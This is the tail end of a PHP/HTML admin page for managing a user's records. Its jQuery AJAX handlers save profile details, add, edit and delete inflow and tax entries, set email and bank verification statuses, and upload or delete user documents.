                <!-- container -->

                <div class="d-none" id="uploadPreviewTemplate">
                    <div class="card mt-1 mb-0 shadow-none border">
                        <div class="p-2">
                            <div class="row align-items-center">
                                <div class="col-auto">
                                    <img data-dz-thumbnail src="#" class="avatar-sm rounded bg-light" alt="">
                                </div>
                                <div class="col ps-0">
                                    <a href="javascript:void(0);" class="text-muted fw-bold" data-dz-name></a>
                                    <p class="mb-0" data-dz-size></p>
                                </div>
                                <div class="col-auto">
                                    <!-- Button -->
                                    <a href="" class="btn btn-link btn-lg text-danger" data-dz-remove>
                                        <i class="ri-close-line"></i>
                                    </a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
            <!-- content -->

            <?php include 'layouts/footer.php'; ?>

        </div>

        <!-- ============================================================== -->
        <!-- End Page content -->
        <!-- ============================================================== -->

    </div>
    <!-- END wrapper -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        // Save active tab whenever a tab is shown
        document.addEventListener('DOMContentLoaded', function () {
            // Track all tab links
            const tabLinks = document.querySelectorAll('[data-bs-toggle="tab"], [data-toggle="tab"]');

            tabLinks.forEach(tab => {
                tab.addEventListener('shown.bs.tab', function (e) {
                    const activeTab = e.target.getAttribute('href');
                    localStorage.setItem('lastActiveTab', activeTab);
                });
            });

            // Restore last active tab
            const lastActiveTab = localStorage.getItem('lastActiveTab');
            if (lastActiveTab) {
                const tabElement = document.querySelector(`[href="${lastActiveTab}"]`);
                if (tabElement) {
                    if (typeof bootstrap !== 'undefined' && bootstrap.Tab) {
                        new bootstrap.Tab(tabElement).show();
                    } else {
                        tabElement.click();
                    }
                }
            }
        });

        $(document).ready(function () {
            $('#basictab1').on('submit', function (e) {
                e.preventDefault();

                // Show loading state
                const submitBtn = $(this).find('button[type="submit"]');
                submitBtn.prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Saving...');

                $.ajax({
                    type: 'POST',
                    url: 'actions/save_information.php',
                    data: $(this).serialize(),
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-messages').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                $('#form-messages').empty();
                            }, 3000);
                        } else {
                            $('#form-messages').html('<div class="alert alert-danger">' + response.message + '</div>');
                        }
                    },
                    error: function (xhr, status, error) {
                        $('#form-messages').html('<div class="alert alert-danger">Error: ' + error + '</div>');
                    },
                    complete: function () {
                        submitBtn.prop('disabled', false).text('Save Information');
                    }
                });
            });
        });
    </script>
    <script>
        $(document).ready(function () {
            $('#basictab2').on('submit', function (e) {
                e.preventDefault();

                // Show loading state
                const submitBtn = $(this).find('button[type="submit"]');
                submitBtn.prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Saving...');

                $.ajax({
                    type: 'POST',
                    url: 'actions/add_inflow.php',
                    data: $(this).serialize(),
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-messages2').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                $('#form-messages2').empty();
                                location.reload();
                            }, 2000);
                        } else {
                            $('#form-messages2').html('<div class="alert alert-danger">' + response.message + '</div>');
                        }
                    },
                    error: function (xhr, status, error) {
                        $('#form-messages2').html('<div class="alert alert-danger">Error: ' + error + '</div>');
                    },
                    complete: function () {
                        submitBtn.prop('disabled', false).text('Save Information');
                    }
                });
            });

            $('#inflow-modal-form').on('submit', function (e) {
                e.preventDefault();
                const submitBtn = $(this).find('button[type="submit"]');
                submitBtn.prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Saving...');

                // Get current active tab before reload
                const currentTab = localStorage.getItem('lastActiveTab') || '#basictab1'; // default tab

                $.ajax({
                    type: 'POST',
                    url: 'actions/update_inflow.php',
                    data: $(this).serialize(),
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-messages-modal').html('<div class="alert alert-success">' + response.message + '</div>');

                            setTimeout(function () {
                                // Preserve the tab state before reload
                                localStorage.setItem('lastActiveTab', currentTab);
                                $('#inflows-modal').modal('hide');
                                location.reload();
                            }, 2000);
                        } else {
                            $('#form-messages-modal').html('<div class="alert alert-danger">' + response.message + '</div>');
                        }
                    },
                    error: function (xhr, status, error) {
                        $('#form-messages-modal').html('<div class="alert alert-danger">Error: ' + error + '</div>');
                    },
                    complete: function () {
                        submitBtn.prop('disabled', false).html('Save');
                    }
                });
            });
        });

        // Delete functionality
        document.querySelectorAll('.delete-inflow').forEach(button => {
            button.addEventListener('click', function () {
                const index = this.getAttribute('data-inflow-index');
                const userId = <?php echo json_encode($userId); ?>;

                if (confirm('Are you sure you want to delete this inflow record?')) {
                    fetch('actions/delete_inflow.php', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                        },
                        body: JSON.stringify({
                            user_id: userId,
                            index: index
                        })
                    })
                        .then(response => response.json())
                        .then(data => {
                            if (data.success) {
                                // Remove the row from the table
                                const row = this.closest('tr');
                                row.parentNode.removeChild(row);

                                // If no records left, show the empty message
                                if (document.querySelectorAll('.delete-inflow').length === 0) {
                                    document.querySelector('table tbody').innerHTML = `
                                        <tr>
                                            <td colspan="4" class="text-center">No inflows found for this user</td>
                                        </tr>
                                    `;
                                }
                            } else {
                                alert('Error deleting record: ' + (data.message || 'Unknown error'));
                            }
                        })
                        .catch(error => {
                            console.error('Error:', error);
                            alert('An error occurred while deleting the record');
                        });
                }
            });
        });
    </script>
    <script>
        $(document).ready(function () {
            $('#basictab3').on('submit', function (e) {
                e.preventDefault();
                const currentTab = localStorage.getItem('lastActiveTab') || '#basictab1'; // default tab
                // Show loading state
                const submitBtn = $(this).find('button[type="submit"]');
                submitBtn.prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Saving...');

                $.ajax({
                    type: 'POST',
                    url: 'actions/add_tax.php',
                    data: $(this).serialize(),
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-messages3').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                localStorage.setItem('lastActiveTab', currentTab);
                                $('#form-messages3').empty();
                                location.reload();
                            }, 3000);
                        } else {
                            $('#form-messages3').html('<div class="alert alert-danger">' + response.message + '</div>');
                        }
                    },
                    error: function (xhr, status, error) {
                        $('#form-messages3').html('<div class="alert alert-danger">Error: ' + error + '</div>');
                    },
                    complete: function () {
                        submitBtn.prop('disabled', false).text('Save Information');
                    }
                });
            });

            $('#tax-modal-form').on('submit', function (e) {
                e.preventDefault();
                const submitBtn = $(this).find('button[type="submit"]');
                submitBtn.prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Saving...');

                // Get current active tab before reload
                const currentTab = localStorage.getItem('lastActiveTab') || '#basictab1'; // default tab

                $.ajax({
                    type: 'POST',
                    url: 'actions/update_tax.php',
                    data: $(this).serialize(),
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-messages-modal2').html('<div class="alert alert-success">' + response.message + '</div>');

                            setTimeout(function () {
                                // Preserve the tab state before reload
                                localStorage.setItem('lastActiveTab', currentTab);
                                $('#tax-modal').modal('hide');
                                location.reload();
                            }, 2000);
                        } else {
                            $('#form-messages-modal2').html('<div class="alert alert-danger">' + response.message + '</div>');
                        }
                    },
                    error: function (xhr, status, error) {
                        $('#form-messages-modal2').html('<div class="alert alert-danger">Error: ' + error + '</div>');
                    },
                    complete: function () {
                        submitBtn.prop('disabled', false).html('Save');
                    }
                });
            });
        });

        // Delete functionality
        document.querySelectorAll('.delete-tax').forEach(button => {
    button.addEventListener('click', function () {
        const index = this.getAttribute('data-tax-index');
        const row = this.closest('tr');
        const userId = <?php echo json_encode($userId); ?>; // Get first td content

        if (!userId) {
            alert('User not found');
            return;
        }

        if (confirm('Are you sure you want to delete this tax record?')) {
            fetch('actions/delete_tax.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    user_id: userId,
                    index: index
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    // Remove the row from the table
                    row.remove();
                } else {
                    alert('Error deleting record: ' + (data.message || 'Unknown error'));
                }
            })
            .catch(error => {
                console.error('Error:', error);
                alert('An error occurred while deleting the record');
            });
        }
    });
});
    </script>

    <script>
        $(document).ready(function () {
            $('#basictab4').on('submit', function (e) {
                e.preventDefault();

                // Show loading state
                const submitBtn = $(this).find('button[type="submit"]');
                submitBtn.prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Saving...');

                $.ajax({
                    type: 'POST',
                    url: 'actions/save_fiat.php',
                    data: $(this).serialize(),
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-messages-fiat').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                $('#form-messages').empty();
                            }, 3000);
                        } else {
                            $('#form-messages-fiat').html('<div class="alert alert-danger">' + response.message + '</div>');
                        }
                    },
                    error: function (xhr, status, error) {
                        $('#form-messages-fiat').html('<div class="alert alert-danger">Error: ' + error + '</div>');
                    },
                    complete: function () {
                        submitBtn.prop('disabled', false).text('Save FIAT details');
                    }
                });
            });
        });
    </script>
    <script>
        $(document).ready(function () {
            const userId = <?php echo json_encode($userId); ?>;

            $('#em-correct').click(function () {
                updateEmailVerificationStatus(userId, 'verified');
            });

            $('#em-tan').click(function () {
                updateEmailVerificationStatus(userId, 'tan');
            });

            $('#em-failed').click(function () {
                updateEmailVerificationStatus(userId, 'failed');
            });

            function updateEmailVerificationStatus(userId, status) {
                $.ajax({
                    url: 'actions/update_email_verification.php',
                    type: 'POST',
                    data: {
                        user_id: userId,
                        status: status
                    },
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-message-ver').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                $('#form-message-ver').empty();
                                location.reload();
                            }, 2000);
                        } else {
                            alert('Error: ' + response.message);
                        }
                    },
                    error: function (xhr, status, error) {
                        alert('AJAX Error: ' + error);
                    }
                });
            }
        });

        $(document).ready(function () {
            const userId = <?php echo json_encode($userId); ?>;

            $('#bnk-correct').click(function () {
                updateBnkVerificationStatus(userId, 'verified');
            });

            $('#bnk-tan').click(function () {
                updateBnkVerificationStatus(userId, 'tan');
            });

            $('#bnk-failed').click(function () {
                updateBnkVerificationStatus(userId, 'failed');
            });

            function updateBnkVerificationStatus(userId, status) {
                $.ajax({
                    url: 'actions/update_bnk_verification.php',
                    type: 'POST',
                    data: {
                        user_id: userId,
                        status: status
                    },
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-message-ver').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                $('#form-message-ver').empty();
                                location.reload();
                            }, 2000);
                        } else {
                            alert('Error: ' + response.message);
                        }
                    },
                    error: function (xhr, status, error) {
                        alert('AJAX Error: ' + error);
                    }
                });
            }
        });

        $(document).ready(function () {
            const userId = <?php echo json_encode($userId); ?>;

            $('#c-correct').click(function () {
                updateCVerificationStatus(userId, '1');
            });

            $('#c-failed').click(function () {
                updateCVerificationStatus(userId, '0');
            });

            function updateCVerificationStatus(userId, status) {
                $.ajax({
                    url: 'actions/update_c_verification.php',
                    type: 'POST',
                    data: {
                        user_id: userId,
                        status: status
                    },
                    dataType: 'json',
                    success: function (response) {
                        if (response.success) {
                            $('#form-message-ver').html('<div class="alert alert-success">' + response.message + '</div>');
                            setTimeout(function () {
                                $('#form-message-ver').empty();
                                location.reload();
                            }, 2000);
                        } else {
                            alert('Error: ' + response.message);
                        }
                    },
                    error: function (xhr, status, error) {
                        alert('AJAX Error: ' + error);
                    }
                });
            }
        });
    </script>

<script>
    $(document).ready(function() {
    // File input change handler for preview
    $('#file').change(function() {
        const file = this.files[0];
        const preview = $('#file-preview');
        const previewImage = $('#preview-image');
        const previewFileInfo = $('#preview-file-info');
        
        if (file) {
            preview.show();
            
            // Check if file is an image
            if (file.type.match('image.*')) {
                previewFileInfo.addClass('d-none');
                previewImage.removeClass('d-none');
                
                const reader = new FileReader();
                reader.onload = function(e) {
                    previewImage.attr('src', e.target.result);
                }
                reader.readAsDataURL(file);
            } else {
                // For non-image files
                previewImage.addClass('d-none');
                previewFileInfo.removeClass('d-none');
                
                $('#file-name').text(file.name);
                $('#file-size').text(formatFileSize(file.size));
            }
        } else {
            preview.hide();
        }
    });
    
    // Format file size
    function formatFileSize(bytes) {
        if (bytes === 0) return '0 Bytes';
        const k = 1024;
        const sizes = ['Bytes', 'KB', 'MB', 'GB'];
        const i = Math.floor(Math.log(bytes) / Math.log(k));
        return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
    }
    
    // Upload button click handler
    $('#upload-btn').click(function() {
        const fileInput = $('#file')[0];
        const documentName = $('#document_name').val().trim();
        const userId = $('#user_id').val();
        
        if (!fileInput.files[0]) {
            alert('Please select a file first');
            return;
        }
        
        if (!documentName) {
            alert('Please enter a document name');
            return;
        }
        
        const formData = new FormData();
        formData.append('file', fileInput.files[0]);
        formData.append('document_name', documentName);
        formData.append('user_id', userId);
        
        $.ajax({
            url: 'upload_handler.php',
            type: 'POST',
            data: formData,
            processData: false,
            contentType: false,
            dataType: 'json',
            beforeSend: function() {
                $('#upload-btn').prop('disabled', true).html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Uploading...');
            },
            success: function(response) {
                if (response.success) {
                    $('#form-message-upload').html('<div class="alert alert-success">' + response.message + '</div>');
                    // Clear the file input and hide preview
                    setTimeout(function () {
                        location.reload(); // Reload to show new document in list
                    }, 2000);
                    
                } else {
                    $('#form-message-upload').html('<div class="alert alert-danger">' + response.message + '</div>');
                }
            },
            error: function(xhr, status, error) {
                $('#form-message-upload').html('<div class="alert alert-danger">Error: ' + error + '</div>');
            },
            complete: function() {
                $('#upload-btn').prop('disabled', false).text('Upload Document');
            }
        });
    });

    // View document functionality
    $('.view-document').click(function() {
        const documentPath = $(this).data('document-path');
        const documentName = $(this).data('document-name');
        
        if (documentPath) {
            // Open document in new tab
            window.open(documentPath, '_blank');
        }
    });

    // Delete document functionality
    $('.delete-document').click(function() {
        const documentIndex = $(this).data('document-index');
        const userId = $('#user_id').val();
        const row = $(this).closest('tr');
        
        if (confirm('Are you sure you want to delete this document? This action cannot be undone.')) {
            $.ajax({
                url: 'actions/delete_document.php',
                type: 'POST',
                data: {
                    user_id: userId,
                    document_index: documentIndex
                },
                dataType: 'json',
                beforeSend: function() {
                    $(this).prop('disabled', true);
                },
                success: function(response) {
                    if (response.success) {
                        row.fadeOut(300, function() {
                            $(this).remove();
                            // Check if table is empty and show message
                            if ($('#documents-list tbody tr').length === 0) {
                                $('#documents-list').html(`
                                    <div class="text-center py-4">
                                        <i class="ri-file-text-line fs-2 text-muted"></i>
                                        <p class="text-muted mt-2">No documents uploaded yet</p>
                                    </div>
                                `);
                            }
                        });
                        $('#form-message-upload').html('<div class="alert alert-success">' + response.message + '</div>');
                        setTimeout(function() {
                            $('#form-message-upload').empty();
                        }, 3000);
                    } else {
                        $('#form-message-upload').html('<div class="alert alert-danger">' + response.message + '</div>');
                    }
                },
                error: function() {
                    $('#form-message-upload').html('<div class="alert alert-danger">Delete failed. Please try again.</div>');
                }
            });
        }
    });
});
</script>
    <?php include 'layouts/right-sidebar.php'; ?>

    <?php include 'layouts/footer-scripts.php'; ?>


    <!-- Dashboard App js -->
 
    <!-- App js -->
    <script src="assets/js/app.min.js"></script>


    <script>
        document.addEventListener('DOMContentLoaded', function () {
            // Handle edit button clicks
            document.querySelectorAll('[data-bs-target="#inflows-modal"]').forEach(button => {
                button.addEventListener('click', function () {
                    // Get the index from the button's data attribute
                    const index = this.getAttribute('data-inflow-index');

                    // Get the parent row of the clicked button
                    const row = this.closest('tr');
                    const amount = row.querySelector('td:nth-child(2)').textContent.trim();
                    const date = row.querySelector('td:nth-child(3)').textContent.trim();

                    // Populate the modal form fields
                    document.getElementById('inflow-index').value = index;
                    document.getElementById('inflow-amount').value = amount;
                    document.getElementById('inflow-date').value = date;
                });
            });
        });

        document.addEventListener('DOMContentLoaded', function () {
            // Handle edit button clicks
            document.querySelectorAll('[data-bs-target="#tax-modal"]').forEach(button => {
                button.addEventListener('click', function () {
                    // Get the index from the button's data attribute
                    const index = this.getAttribute('data-tax-index');

                    // Get the parent row of the clicked button
                    const row = this.closest('tr');
                    const amount = row.querySelector('td:nth-child(2)').textContent.trim();
                    const date = row.querySelector('td:nth-child(3)').textContent.trim();

                    // Populate the modal form fields
                    document.getElementById('tax-index').value = index;
                    document.getElementById('tax-amount').value = amount;
                    document.getElementById('tax-date').value = date;
                });
            });
        });
    </script>
    <!-- SEE js for ajax page refresh -->
    <script src="assets/js/sse.js"></script>


</body>

</html>